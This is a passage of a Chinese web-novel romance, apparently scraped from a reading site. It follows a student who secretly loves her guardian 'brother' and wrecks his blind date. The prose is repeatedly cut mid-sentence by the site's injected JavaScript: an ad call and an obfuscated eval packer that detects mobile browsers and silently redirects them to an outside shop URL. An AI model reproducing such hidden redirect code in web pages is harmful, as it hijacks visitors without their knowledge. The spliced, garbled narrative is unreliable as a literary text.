其实除了周逸怀之外,也有别人追过她,光大一开学军训期间,她就上过不止十次的校园表白墙。 但那些追求者大多连一周都坚持不到,很快便会放弃。 她嘴毒心硬,脾气又差,对那些目标摆在明面上的试探和示好不屑一顾,哪怕对方是学长也不给面子。 闹最大的一次,是上个月把学生会的一个同系师哥气得在新生群里明涵她,给她扣了顶“不尊重师哥师姐,装模作样,不服管教”的大锅。 清楚内情的知道对方是追求不成恼羞成怒,不清楚的则觉得她专业第一就眼高于顶,不好相处。 她没有分辨与解释,理都没理。 倒是惹得易梓薇在群里激情开麦,把对面骂的屁都不敢再放。 这世上,除了顾北,她确实也瞧不上任何人。 周逸怀闻言面上划过受伤的神色,但他很快振作起来,牵强一笑,把背包递过去:“好,我知道了,那我们下次再约。” 荆梨正要伸手去接,却被顾北抢先一步。 “下次也算了吧。” 男人凉凉地飘出一句,说罢单手提着背包,不再看对方一眼,揽着荆梨走向自己的车。 周逸怀一愣,拧眉看着二人离开的背影,眸色渐深。 上车后,车厢内安静下来,气压骤然降低。 荆梨莫名紧张,偏头小心翼翼地瞥向沉着脸的男人,不明白他怎么突然对待外人那么不客气。 “忘了高二在主任办公室是怎么被他们指责,被逼着保证再也不跟对方来往的了么。” 许是察觉到女孩存在感极强的注视,顾北低声开口。 他目视前方,面沉如水,黑压压的长睫挡住眸中的情绪。 荆梨一下被拉入当时的场景中,不禁哑然。 她当然忘不了,那天她的面子都快丢光了。 “既然记得,那还跟他纠缠什么。”顾北停顿了一下,又冷哼道,“就那么喜欢他,喜欢到连吃过的教训都忘了。” “我没有。”荆梨忽然打断他,脸色沉了下去,“我不喜欢他。” 顾北下意识侧眸。 只见荆梨表情严肃,像是被冒犯到一般,一瞬不瞬地直直盯着他。 心弦被突兀地拨动,顾北脑子一热,脱口问道:“那他怎么还一直缠着你?” 荆梨:“他在追我。” 顾北呼吸微紧:“你会答应他吗?” 荆梨蹙了下眉,似被他的蠢话无语到了,好笑地哧出声:“顾北你听不明白人话吗,我都不喜欢他,我答应他什么。” 顾北忽地缓过神,觉得自己刚才过激的反应不光莫名其妙,还透着卑鄙的心虚。 他心里在慌什么? 哪怕荆梨真的谈恋爱了也不关他的事啊…… 车厢再次陷入沉默,谁都没再开口,只余男人稍显粗沉的鼻息。 荆梨抱着包,头偏到窗那侧,心情如同从顶点疾驰而下的过山车,降至谷底。 她可以接受自己的心意不被他看见。 但绝不容许被他误解。 这边正黯然神伤,另一边的顾北的心情则有些压抑。 如果荆梨喜欢的不是周逸怀那小子,意味着她喜欢的另有其人。 那对方是个大叔的概率又增加了…… 思及此,顾北有些焦躁地扯松领带,眉头皱伏,脸臭得可以。 - 在外面吃了顿简餐,得知荆梨下午没课,顾北便直接将她送回了家。 临上班前,还不忘帮她又喷了遍药,叮嘱她别乱跑,还说他晚上要加班,结束时间不确定,不必等他吃饭了。 荆梨一声没吭,全程坐在沙发上任他摆布,直到男人走到玄关处弯腰换鞋,她才慢慢起身挪过去。 头顶兀地出现一片阴影,顾北抬头,对上女孩打量的目光。 “?”他挑眉。 荆梨抱着臂,忽然鼻子动了动,嗅到空气中飘着的香水味。 闻着很陌生,是偏甜的花香。 “你换香水了?”她淡淡道,尾音透着冷。 顾北并没有喷香水的习惯,他不太喜欢身上留有标记一般的气味,所以从没主动买过香氛类产品。 他的第一瓶香水是在他二十五岁生日那天,她亲自挑选送给他的。 某个法国的牌子,闻起来稳重疏离,不热情也不冷淡,拥有包容一切的安全感。 像一座经久不变的雪山,只等一声响彻天谷的动静,便会崩裂哗然。 是她心目中,顾北的形象。 这么多年他从没换过香水,一直用的这个。 顾北也闻了闻自己的手腕,恍然轻笑:“没有,是早上去茶水间倒咖啡的时候,遇到在哪儿聊天的实习生,她们正巧聊到香水这个话题,问我要不要试试。” “我也没多想,就伸手让她喷了下。” 实习生……她们变成了她…… 荆梨何其敏锐,捕捉到重点:“谁这么好心啊?” “辛恬。”顾北语气随意。 他穿好鞋,在她面前站直身,宽阔的肩背舒展开来,轻而易举便将她娇小的身躯笼罩在他的阴影之下。 荆梨视线上抬,唇瓣轻抿,眼里的云淡风轻消失不见,只余自己都不曾察觉的嗔怨。 如果面前有道镜子,她绝对会唾弃此刻的自己,竟然会露出如此斤斤计 (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' 较的神情。 顾北一点儿也没觉出气氛的不对劲,抬手捏了捏她忽然鼓起来的脸:“我走了,等我回来。” 他的嗓音低沉而温柔,荆梨竟生出一种新婚妻子早晨送丈夫出门上班的既视感。 就差一个离别吻的流程了。 荆梨也不敢伸手扯他的领带,但又不想让他就这么轻易地走掉。 她索性叫住男人,翻出自己包里的香水小样,拽过他的手,泄愤般往他手腕上喷了好几下。 馥郁清新的奶香味瞬时充盈整个玄关。 顾北诧异地望着小动物一样标记气味的女孩,丝毫没有甩开的意思,任由她胡闹。 “我讨厌那个味道。”荆梨秀眉轻蹙,杏眼圆瞪,煞有介事地警告他,“以后不准让我闻到第二次。” 顾北愣住,被她软软地瞪着,心口泛起如同蚂蚁啃啮的酥麻。 似燎原的火,一路烧至全身,他甚至想捂住胸口大力喘息,借此缓解过激的生理反应。 他到底克制住了,垂下眼,轮廓绷紧,触电似的缩回手,逃到门外:“知道了。” 大门关上,隔着门板,顾北总算得以获救。 他用力吞咽了几口,喉结滞涩滚动,手慢慢抚上自己的胸膛,隔着结实的皮肉,那沉重且还在不断加速的心跳汹涌地传递到他的掌心。 烫得他有些畏缩。 - 顾北走后,荆梨干脆睡了一觉,再醒来发现才睡了两个小时。 躺在床上点开今夜,433没找她,估计在忙。 她开始无聊地刷新主页的帖子,下一秒,私信那栏冒出一个小红点。 以为是433,她想也没想就点了上去,结果只是一个约稿的邀请。 秉持着有钱不赚王八蛋的理念,荆梨点开那条私信。 稿主想约某乙女游戏男主的双人稿,要求不难,就一条——尺度越大越好。 聊这个的话荆梨立马就不困了,她接下邀约,确认人设和细节后便坐到书桌前,打开电脑就是干。 时间在努力工作中飞速流逝,等荆梨画好线稿发给稿主,天色已然擦黑。 稿主反馈的很快,表示没什么需要修改的地方,可以继续画了。 荆梨回了个“OK”的表情包,确定两天后交稿。 收下定金,她美滋滋地欣赏起自己的绝美线稿,目光落在男主还很潦草的腹肌上时,不禁顿住。 脑海中过电影似的闪过一些零碎的画面。 出租车,按揉太阳穴的手指,男人温柔的低语……以及她滚烫的脸好像蹭到了她一直以来肖想的东西…… 荆梨猛地打了个战,眼神惊悚。 我靠…… 她喝醉那晚到底还有多少“惊喜”是她不知道的…… 荆梨阖上眼,耳尖充血,后仰倒在柔软的被子里,进入无欲无求的状态,连平板上的大尺度涩图都不香了。 另一头,本该在办公室加班的顾北却出现在了临江的某家餐厅内。 他对面坐着一位容貌姣好,气质端方的长发女士。 “谭小姐,不好意思,路上有点堵,没让你等太久吧?”顾北坐下后率先告罪。 谭昀本因对方迟到而冷下来的脸在看到顾北的刹那变得呆滞,眼里划过一抹不加掩饰的惊艳。 “没有没有,我也刚到不久。”谭昀连忙起身与他握手,整个人局促娇作起来。 36.抓包 Chapter 36 夜色降临,华灯初上。 他们坐在露天的位置,旁边就是宽阔的江面,灯火摇曳的游船穿梭其上,携着水汽的江风吹过来,并不是很冷,伴着轻快的爵士乐,倒有种闲适的氛围。 打完招呼,二人面面相觑,气氛骤然尴尬。 想起刘春迎的叮嘱,顾北忙端起客气的微笑,主动挑起话头:“没想到谭小姐本人看着比照片上还要年轻漂亮。” 谭昀不太敢直视男人的眼睛,她腼腆一笑,矜持地将碎发别至耳后,不知不觉说出心里话:“我也没想到顾先生本人竟然这么帅。” 她有点颜控,每次相亲她妈都忽悠她男方条件如何如何好,结果一看照片,不是歪瓜就是裂枣。 次数一多,她都麻木了。 想着这回也依旧随便应付一下,吃完饭就回去互删,就没提前看照片。 没想到她妈这次这么给力! 直接从共享单车升级到敞篷跑车,还是全球限量的那种。 谭昀心里暗爽,表情差点没绷住。 顾北闻言只是淡淡笑了笑,没应声。 他喝了口餐前的柠檬水,眉宇间还带着赶路的倦意:“我们先点餐吧,边吃边聊。” 说罢,他朝等在一旁的服务生招招手,将递来的菜单放到女人面前。 荆梨本来打算今晚就不出去了,但易梓薇在微信上说有件好事要告诉她,便强拉着她出门吃饭。 易梓薇订的餐厅恰好是顾北所在的这家。 等荆梨打车赶到时,易梓薇已经点了满满一桌的菜,中间甚至摆着一块四寸的精致小蛋糕,上面插着心形的蜡烛。 “谁过生日啊,还买蛋糕。” 荆梨风风火火地坐下,将包搁到里头的椅子上,捻起一块炸鸡就往嘴里塞。 她素着一张小脸,黑发披散,看着稚嫩又清纯,卫衣松松垮垮,一看就是着急出门随手套的。 “慢点吃,没人跟你抢。”易梓薇抽了张纸递给她。 “对了,你微信上说的好事,是什么事啊?”荆梨想起对方叫自己出来的理由,好奇问道。 易梓薇一脸神秘,但笑不语。 她跟服务员要了打火机,伸手点燃蜡烛。 隔着焰色的火光,透过镂空的心形,女孩含笑的眼眸晶亮无比。 “我恋爱了!” 话音刚落,对面传来“啪嗒”一声脆响,只见荆梨手里的叉子突兀地掉在了餐盘上。 荆梨脸色骤变,眼睛都瞪大了:“你说什么?!” “你恋爱了?” “恋、爱,是我想的那个恋爱吧?” 易梓薇肯定地点了点头:“就是你想的那个恋爱。” 荆梨懵了,半晌才回过神,拧眉问道:“对象是谁啊?什么时候认识的?我怎么不知道?” 她连珠炮一般,每问一句,心里的气就积攒一分。 谈恋爱这么重大的事情,作为彼此最好的朋友,她竟然一点风声都没听到过。 这丫头太过分了! 顶着荆梨质问的眼神,易梓薇双手合十,作伏低状,可怜巴巴地说:“我也没想到他今天突然跟我表白嘛,脑袋一热就答应他了,我之前从没想过能跟他更进一步,当朋友聊的,就没敢告诉你。” 荆梨后仰靠上软垫,双手抱臂,目光如炬,跟审犯人似的:“从实招来,那男的是谁?” 易梓薇心虚地瞥她一眼,声音细弱蚊蝇:“陆檀。” 她说完便飞快低下头。 荆梨没听清:“说大声点,他见不得人啊?” 还真见不得人。 易梓薇手指交缠,做贼似的扫了眼四周,接着抬手招呼她凑近。 荆梨“啧”了声,被她磨磨唧唧的模样搞得烦躁不已,但还是听话地附耳过去。 两秒后,荆梨“腾”地站起,黑着一张脸居高临下地瞪着易梓薇。 女孩弱弱地望着她,眼尾低伏。 “我之前是不是警告过你,离那个陆檀远一点,他这人不简单。” 脑海中划过陆檀那张精明又虚浮的脸,荆梨额角突突直跳,她叹了口气,重新坐好,一言难尽地盯着满脸懵懂的好友。 易梓薇弱声辩解:“可我觉得陆檀哥哥挺好的呀,对我特别温柔,我们每天都在聊天,他还说他对我是一见钟情呢。” 荆梨知道这丫头有点傻白甜,没成想还有恋爱脑的潜质。 这下遇到个身经百战的海王,真是“棋逢对手”,五毒俱全了。 荆梨无力地闭上眼,片刻后睁开,耐着性子跟她说:“他才认识你多久,你们俩接触的时间连一个月都不到,还隔着条网线,他私下真实的样子也是掺着滤镜的。” “什么狗屁一见钟情,你怎么能确定他说的是真的,我看就是见色起意。” 易梓薇被问住,说不出话了。 荆梨又说:“他虽然很糊,但好歹也是个明星,长得又帅,估计有大把像你这样漂亮的富婆粉丝跟他私联,热搜上那么多被爆的男艺人,你又追了那么多年的星,这点小伎俩你看不清么?” 易梓薇闻言一怔,面色有些白。 她不敢再争辩了,因为荆梨说的确实在理。 安静良久,女孩搅着手指,眼尾逐渐泛红,嗫嚅着开口:“可是,可是我很喜欢他……” “……” 荆梨在心底叹息,胸口仿佛被大石压住,透不过气。 空气一时陷入死寂,心形蜡烛很快燃尽,独留一缕轻烟被江风吹散。 “小梨,我该怎么办啊?”易梓薇嗓音里染上细弱的哽咽,眼圈彻底红透,“你说的我都懂,可我就是控制不住,我好喜欢他啊。” “你都不知道,白天看到他跟我表白的信息时我心里有多开心,那种开心比我收到贵重礼物时的开心要多的多。” “我爸很宠我,但必须得建立在我听他话的基础上,从小到大我身边的每一个人都顺着我,但也是因为我是我爸的女儿,不是因为,我是易梓薇。”她擦了把脸上的泪,吸了吸鼻子,“你是我遇到的第一个,不在乎我是谁,只是觉得我这个人很好,从而喜欢我,跟我做朋友的人。” 易梓薇牵住女生的手,眼眸泛光:“我希望陆檀是第二个。” 荆梨握紧她的手,直直地望着她,声线无波无澜:“如果他不是呢。” 易梓薇咬了咬唇,目光迟疑,最后逐渐坚定。 她灿然一笑:“那就当我识人不清,给自己找个教训。” 有些南墙是要自己撞一撞才知道疼的。 有些人是明知不能爱上却依然控制不住的。 荆梨呼吸微涩,方才一腔怒火霎时没了底气。 她可以言之凿凿地劝易梓薇,但要是轮到她自己,估计也会做出和对方相同的选择吧。 “注意安全。”半晌,荆梨低声叮嘱她,“如果他私下约你见面, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 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“这话该我问你吧。”荆梨冷声道,接着扭头望向表情茫然的谭昀,“她是谁?” “她……”顾北卡壳,事发突然,他想不到好的借口。 相亲这事他告诉荆梨其实也没什么大碍。 可就是莫名的……心虚。 谭昀悄悄打量了眼女孩的装扮,看起来年纪不大,应该还在上学。 虽然不知道她和顾北是什么关系,但起码的礼貌还得要有。 这么想着,谭昀主动介绍自己:“我是顾先生的相亲对象,请问你是?” 相亲? 荆梨一下怔住,呆立在原地,耳边嗡鸣不止。 她顿顿地回眸,抬头看着顾北,秀眉微蹙,眼里的受伤不加掩饰,像是无声的诘问。 你想结婚了…… 对上这双破碎的眼睛,顾北呼吸都停住了,心口没由来的闷窒。 “你听我说……” 他唇瓣无力地张合,手紧紧攥住荆梨的手腕,仿佛她下一秒就会消失一般。 谭昀奇怪二人陡然的沉默,继续出声问道:“这位小姑娘,请问你是顾先生的妹妹吗?” 她记得她妈提过一嘴,顾北是有个妹妹来着。 “不是。” 荆梨回过神,她垂眸深吸口气,再转身脸上已无任何情绪。 “我是他女朋友。” 此话一出,场面霎时陷入死寂。 37.失信 Chapter 37 “胡闹!” 顾北先一步反应过来,他压着声呵斥女孩,面上浮现愠怒之色。 荆梨却不管他,她别过手腕挣脱男人的桎梏,微仰下巴,宣誓主权一般,红着眼靠近谭昀:“我们已经交往很久了,感情特别好。” 谭昀被眼前突发的情况惊得整个人已经傻掉了,她目光飞速地在二人之间逡巡,很快便寻摸出味来,瞬间怒意上涌。 她立刻指着顾北鼻子骂道:“好啊!你有女朋友了还出来相亲,吃着锅里的看着碗里的是吧!长的人模人样怎么不干人事呢!” 女人的大嗓门吸引了其他用餐的客人,四周顿时响起闲言碎语。 顾北额角青筋直跳,他一把箍住荆梨的胳膊拽到跟前,凝眉警告地瞪着她,眸底郁色纵生,嗓音沙哑到了极点:“荆梨,闭嘴!” 男人手上没控制力道,荆梨疼得秀眉紧蹙,但依旧毫不畏惧地回瞪他,模样要多倔有多倔。 “不好意思谭小姐,别听她瞎说,她就是我妹妹。”顾北胸膛压抑地起伏,下颌绷紧,显然在克制着情绪,“小姑娘跟我闹脾气了,胡说八道呢……” “我男朋友大我十岁。” 顾北正解释着,荆梨不乐意地继续浇油,歪着脑袋似笑非笑地打断他。 她眼尾挑衅上扬,看向男人的眼神带着毫不掩饰的恶劣与玩味:“我们看起来确实很像兄妹。” 言外之意就是,他方才的辩解都是框你的。 顾北双眸微瞠,不可置信地看着女孩,一时忘了反驳。 谭昀自然听懂了,她愈发气恼,在众人看戏似的注目下脸胀得通红,有种被人猴耍的羞愤,亏她还觉得今晚自己可能要住海景房了,结果遇到的还是个豆腐渣工程。 “渣男!” 她忿忿地骂道,还不解气,拿包离开前还不忘端起桌上的酒杯,朝二人的方向泼了过去。 顾北下意识侧身护住荆梨,任由那杯酒泼在自己的脸上。 他稍稍偏过头,垂着密长的眼睫,唇瓣微张,红色的液体顺着他的鼻尖和下巴滴落,滑过滚动的喉结落入脖颈,染红了白衬衫前襟。 那张过分精致的脸被酒液侵染淋湿,竟透出摄人的性感。 “砰”一声,谭昀将杯子重重放回台面,狠狠瞪了眼二人,接着大步离开。 荆梨愣了愣,随即赶忙抬手去碰男人的脸,却被他扭头躲开。 她手滞在半空,心也跟着空荡荡的,后知后觉地感到自己做的事有点过火。 但这能怪她嘛…… 当然不能怪她。 一切都是顾北的错。 思及此,她掐住男人的下巴,把他的脸掰过来,迫使对方不得不面对自己,接着用袖子把他脸上的酒渍擦拭干净。 期间,顾北唇线紧抿,眼睫垂敛,视线失焦地落在下方,就是不看她。 赌气一样,幼稚又有点可爱。 擦到喉结时,男人捉住她的手腕,漆黑的凤眼空洞地锁住她,声线涩哑:“为什么?” 为什么要破坏他的相亲,还用那样的借口。 荆梨面无表情,任他抓着,反唇相讥:“问我为什么,我还没问你呢。” 顾北轻顿,显然没转过弯来。 荆梨轻声为他解答:“你还记得你白天怎么跟我说的么。” “加班……”她嗤笑,往前靠近一步,凑到男人面前,二人鼻息相对,周遭的温度骤然提升,“你就是这么加班的。” 顾北目光躲闪,说不出话来,半晌他阖了阖眼,喉结滚动道:“我是怕你多想……” “多想什么?”荆梨紧追不舍。 顾北沉默,松开她,有些狼狈地后撤,别过脸模样逃避。 他怎么说。 连他自己都不知道为什么下意识就对她撒了谎。 心底那点隐秘又肮脏的心思冒出尖的瞬间就该被按死,他却毫无办法地任它疯长。 如今所做的一切都已超出了他的理解范围。 “顾北。”安静良久,荆梨低低唤他,语气里满是疲惫,“你又骗我。” 顾北呼吸一紧,手握成拳,但很快他就冷静地说:“是人都会说谎,难道你就能保证自己一辈子都活得坦坦荡荡,心里一点秘密都没有么。“ 荆梨心头一顿,喉头哽住。 她当然有秘密了,一个很大很大,一说出口便会粉身碎骨的秘密。 “再说了这只是个很小的谎言,微不足道,如果不是今晚恰好被你撞到,根本不会造成任何后果。” “怎么不会!” 荆梨的音调一下拔高,她忽然的情绪激动让顾北心跳一滞,诧异地看向她。 “你在相亲,意味着你想结婚了,你想和别人在一起了。” 顾北怔了一瞬,语气不自觉加重:“我想结婚有错吗,我这个年纪不该结婚吗,你到底在气什么?” 荆梨被他这幅冷硬的模样伤透,眼眶再一次泛热,杏眸湿漉漉的,带着不知名的委屈与哀伤。 二人无声对峙着。 不远处城市的夜晚灯火葳蕤,光亮倒映着女孩氤氲的眸光,江风拂起她及腰的长发,丝丝缕缕,似缠绵的藤蔓,勾起过往珍重的回忆。 荆梨眼尾可怜低垂,仰头泪光闪闪地哽咽道:“你忘了你曾经说过的话了吗?” 顾北以为她还在纠结自己骗她加班这件事,不由烦躁地叹息一声,刚准备开口服软,却被对方下一句话堵了回去。 “你说过有你在的地方就是我的家,你说我们要一辈子在一起,永远不分开的。” “难道你忘了吗?” “……” 顾北心跳骤然漏了一拍,他神色怔忪,黑眸沉沉地注视着女孩的双眼,一动不动。 心脏有块位置轰然倒塌,因年岁久远而被他遗忘的一段记忆重新席卷。 在荆梨以为留声玩偶坏掉而发烧昏迷进医院的那晚,他守在她的病床边,大手包住她的小手,温柔又笃定地许下承诺: “小梨,你放心,哥哥就在你身边,有哥哥在的地方就是我们的家。” “我们一辈子在一起,永远不分开。” …… 回忆戛然,顾北的呼吸彻底乱了,他怎么能忘呢,他是最不该忘的。 “可就算我结婚了我们依然是一家人啊。” 他试图抓住她的手,却被荆梨后退躲开。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13959194|141594||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 她皱紧眉,深吸口气:“顾北你到底明不明白什么叫一辈子,什么叫永远不分开。” “明白,我当然明白。” 荆梨鼻头一涩,泪水终于承受不住地坠落。 她舔舔唇,无力地垂下眼,低声喃喃:“你不明白,你根本不明白……” 一辈子,永远…… 意思就是只有你和我,没办法再插入第三个人。 气氛忽然降至冰点,荆梨仿佛失去了全身的力气,连争辩与指责都变得索然无味。 她不再看男人一眼,转身脚步吃力地往回走。 顾北回过神上前搀扶她,被她抬手抵着胸膛往外推。 女孩嗓子里发出小兽濒死前倔强又虚弱的低吼:“别碰我!” 她始终回避着他的目光,娇弱的肩膀细细发抖,好似在承受着巨大的痛苦。 顾北被她呵住,哪怕她推搡的力道像猫咪挠痒,也真的僵在了原地。 目送女孩缓慢地消失在他的视线。 - 荆梨是被易梓薇送回家的,路上她一直保持着沉默,不管对方如何聊八卦都逗不笑她。 她的情绪像被抽离了,如同失了魂的木偶娃娃,眼神失焦,对什么都提不起兴趣。 她开门后发现顾北还没回来,屋里漆黑一片,静得有些骇人。 也好,省得见面尴尬。 洗完澡,她瘫倒在床上,闭眼后满脑子全是今晚发生的事。 不知道为什么,明明知晓顾北已经不是第一次相亲了,但心慌的感觉却比以往每一次都要强烈。 是啊……他都二十八岁了。 别人在他这个年纪大多都开始步入婚姻殿堂了,甚至还有当爸爸的。 他着急也能理解。 毕竟他自小就成了孤儿,应是极度渴望拥有一个自己的小家,有个孩子温情地喊他爸爸。 可是,他越急,她就越心痛,越难过。 落寞与害怕形成今夜的主旋律,她注定无眠了。 想到这,荆梨翻身埋进被子,眼泪滚热倾泻,全部流进了枕头里。 她根本不敢想,要是顾北真的结婚了,她会疯成什么样。 她会死的……会控制不住拉着顾北一起。 一旁的手机此时忽然震动,荆梨没有理会,可那头的人不依不饶,她烦躁地伸手拿过来,隔着泪眼瞧见来电人的名字。 舅妈。 荆梨叹了口气,知晓自己闯了祸。 她犹豫了好一会儿才神情恹恹地接通。 刘春迎拔高的嗓门顿时传了过来。 “荆梨你要干什么!你知不知道你快把你哥害死了!” 荆梨不吭声,企图用沉默来消解对方的怒火。 刘春迎又骂了一阵,见她始终一言不发,不禁又气又无奈:“舅妈知道你在想什么,害怕你哥结婚了就不管你了,幼稚啊,你都成年了,你哥还能管你一辈子啊……” “怎么不能。” 一直安静的女孩终于出了声,嗓音嘶哑。 刘春迎噎住,唇瓣嗫嚅,心道你俩都不是亲生兄妹,顾北对你已经仁至义尽了。 话到嘴边还是咽了回去。 38.心甘情愿 Chapter 38 刘春迎将今晚在餐厅发生的误会和谭昀家人解释清楚,谭昀表示理解,也传递出想要继续和顾北相处下去的念头,却被顾北拒绝了。 他的意思是既然荆梨还不能接受他相亲结婚,那这事就先暂时搁置吧。 刘春迎闻言愈发心急,问他如果荆梨一辈子不同意他结婚,难不成他真准备单身一辈子吗。 顾北沉默下来,长睫低敛,看不清神色。 刘迎春叹息一声,拍了拍他的肩膀,劝道:“小北,你自己还有好长的人生要过呢,不能只围着她转啊,你被她困住了。” 顾北抹了把沾满疲惫的脸,肩膀倾颓,黑眸深邃翻涌,不知在想些什么,半晌后,他才半抬起头,哑着嗓子说:“舅妈,我心甘情愿。” 心甘情愿被她困住。 哪怕一辈子。 对上男人幽沉无光的双眼,刘春迎不由怔住。 她没有错过顾北眸中一闪而过的疯狂。 刘春迎顿时皱紧了眉,心口不安地跳动,不敢再追问下去。 当夜,荆梨失眠了。 她仰躺在床上,闭着眼仔细听着屋外的动静。 直至凌晨,玄关处才传来开门的声响,在寂静的深夜无比突兀,哪怕对方已经在极力放轻动作,荆梨还是立时睁开了眼。 窗外雾色朦胧,明月被云层遮挡,她在黑暗中适应了好一会儿才看清物体的形状。 心跳随着脚步的靠近而逐渐加速。 最后脚步声停在了她的卧室门口。 一切声音都消失了,四周静得落针可闻,只余她心口如擂鼓般的心跳声。 荆梨下意识把眼闭上,掩耳盗铃一般控制着呼吸节奏。 于是下一秒,她便听见门把手转动的细微响动,光线从敞开的门缝倾泻进来,以及男人被光拉长的影子。 紧闭的长睫微不可查地颤了颤,荆梨藏在被子里的手不由捏紧。 她能感觉到顾北在靠近,床沿随之塌陷,山一样的压迫感朝她袭来。 淡淡酒精裹挟着秋夜冷冽的气息瞬间侵占了她的呼吸,与她房内温馨的甜香格格不入,就像小女孩突然穿上男人宽大的西装,清纯与成熟的碰撞,反倒烘出另一番意境。 顾北坐下后便没了动作,只静静望着“熟睡”的女孩,眸色沉沉。 荆梨紧张的后背都冒了层细汗,她庆幸被子盖得严实,不然就会被他瞧见自己僵硬如树桩的身体。 这样静谧的注视维持了许久,久到荆梨真的迎来了睡意,她捕捉着即将弥散的思绪,呼吸减缓。 可顾北却在此时伸出手,袖口残存的香水味一并袭来。 男人温度过烫的掌心轻轻抚上她的脸,带着薄茧的指腹羽毛般摩挲她的眉眼,温柔又小心翼翼,像对待一件稀世珍宝,引起阵阵过电般的酥麻。 头皮战栗,大脑瞬间清醒,荆梨眉头起伏,控制不住地从鼻间哼吟出声,很轻很腻,像被惊扰的小动物。 顾北听到了。 他身体一僵,心脏奇异地触动。 许是黑夜给人自欺欺人的借口,一些本不该有的念头如滕蔓疯长,消弭了他本就即将崩塌的定力。 有道仿佛从地狱深处传来的低语在脑海中叫嚣、蛊惑。 “靠近她,再靠近一点。” 荆梨正暗自懊恼方才没忍住发出了动静,结果下一瞬,有道炙热的鼻息拂上她的额头,带着克制与彷徨,犹犹豫豫地悬在她的皮肉上方,烫得她眉心一跳,四肢发麻。 荆梨紧张得几欲落泪,这一刻,她已经失去思考的能力了,隐秘的酸涩与期待快要将她逼疯。 可最终,她还是没有等到她渴望的触碰。 顾北垂眸与她额头相抵,喉咙深处发出一道几不可闻的叹息。 “警告过你要反锁房门的,真是一点也不听话。” 男人气音低浅沙哑,语气有种拿你没有办法的无奈宠溺。 “小梨,哥哥希望你一辈子开心。” “如果那是你想要的,那哥哥可以一辈子不结婚,就这么陪着你,守着你,看着你变成开心的小老太太,牵你的手一起晒太阳。” 荆梨闻言鼻尖猛然酸涩,她强忍唇瓣的颤抖,心渐渐沉了下去。 “晚安。” 话落,男人慢慢撤离,他来带的温暖也慢慢冷却。 门合上,屋内重新陷入黑暗。 荆梨掀开眼,泪水如断线的珠子从眼角滑落,隐入发间。 她翻身将脸埋进枕间,依旧挡不住溢出口的呜咽。 她突然觉得自己好残忍,好可恶…… 为一己私欲,用顾北的责任心绑架了他,把他拴在自己身边, 他俩从一开始就错了。 顾北当初本可以把她甩开,不必那么辛苦地活着,遇到一个相爱的人与她结婚生子,组建自己的小家,不再被人歧视欺辱,被骂是无父无母的孤儿。 是她非要缠着他,让顾北本该顺利的人生变得艰难。 如今她还死皮懒脸地爱上了他,企图他也抱有和她同等的爱。 荆梨啊荆梨,人怎么可以这么厚颜无耻,贪得无厌呢。 - 第二天早上七点,荆梨自然苏醒。 她翻腾了一夜,直到天边泛起鱼肚白才恍惚着睡了一觉。 顾北房门紧闭,看样子还没起。 荆梨没有叫醒他,洗漱完朝厨房走去,准备熬粥。 路过客厅沙发时,她注意到男人随手搭在椅把上的西装外套。 拿起外套,荆梨垂头嗅了嗅,一股浓郁的酒香扑鼻,刺得她皱了皱眉。 想起昨晚在餐厅,她害得顾北被泼了一脸的酒,眸光不禁又黯淡了几分。 她调转脚步,往洗衣房的方向走去,打算帮他洗洗。 掏兜的时候她从西装右边口袋摸出一张纸质门票。 荆梨一顿,低睫看向上面的演出信息。 原来是古典交响乐团的演出门票。 而且时间就在今晚。 心思流转,荆梨忽然扬起唇角。 她喜欢听古典乐这事顾北是知道的。 难道他在借此跟她缓和关系? 但为什么只有一张? 荆梨又翻了翻左边的口袋。 空空如也。 确实只有一张。 她面露迟疑,抱着外套若有所思。 另一张票估计还在顾北手里吧,他总不可能一个人去看啊。 而且顾北对古典乐一点兴趣也没有,他身边唯一喜欢的就只有她了。 这么想着,荆梨压下心头怪异的违和感,把外套放回原位,假装自己毫不知情。 半小时后,荆梨将熬好的粥搁在餐桌上,连同煮好的鸡蛋。 期间顾北的房门一直没打开。 荆梨来到他房门口,想叫他起床吃饭,但又心疼他晚归晚睡,加上自己也没想好该如何应对二人吵架 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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荆梨挑眉思索,很快心里就确定了人选。 班主任又交代了一些班级事务后便匆匆结束班会。 等荆梨赶到食堂,热门窗口已然排起长队。 还好易梓薇下课早,已经为二人占好了就餐的位置。 荆梨纠结半天,最后点了份鸭血粉丝,端着餐盘坐到女生对面。 易梓薇注意力全在手机上,咬着筷尖一脸痴笑,显然是在跟她的陆檀哥哥聊天呢。 荆梨受不了她这幅恋爱脑的模样,一把抽出她的手机反扣在桌上,佯装凶狠:“吃饭就好好吃。” 易梓薇反应过来忙堆起谄媚的笑:“知道啦。” “对了,我有件事想请你帮忙。”荆梨说。 易梓薇眨眨眼:“棘手吗,需不需要我爸出面?” 荆梨打住:“没必要出动叔叔,你就能帮我。” 易梓薇更好奇了:“快说快说,什么事?” 荆梨神秘一笑,点开手机里关于服设大赛的海报,递到她面前:“我要参加这个比赛,需要一位模特跟我合作,我想邀请你做我的缪斯女神。” 39.泥淖 Chapter 39 “我吗?”易梓薇指了指自己,“给你当模特?” 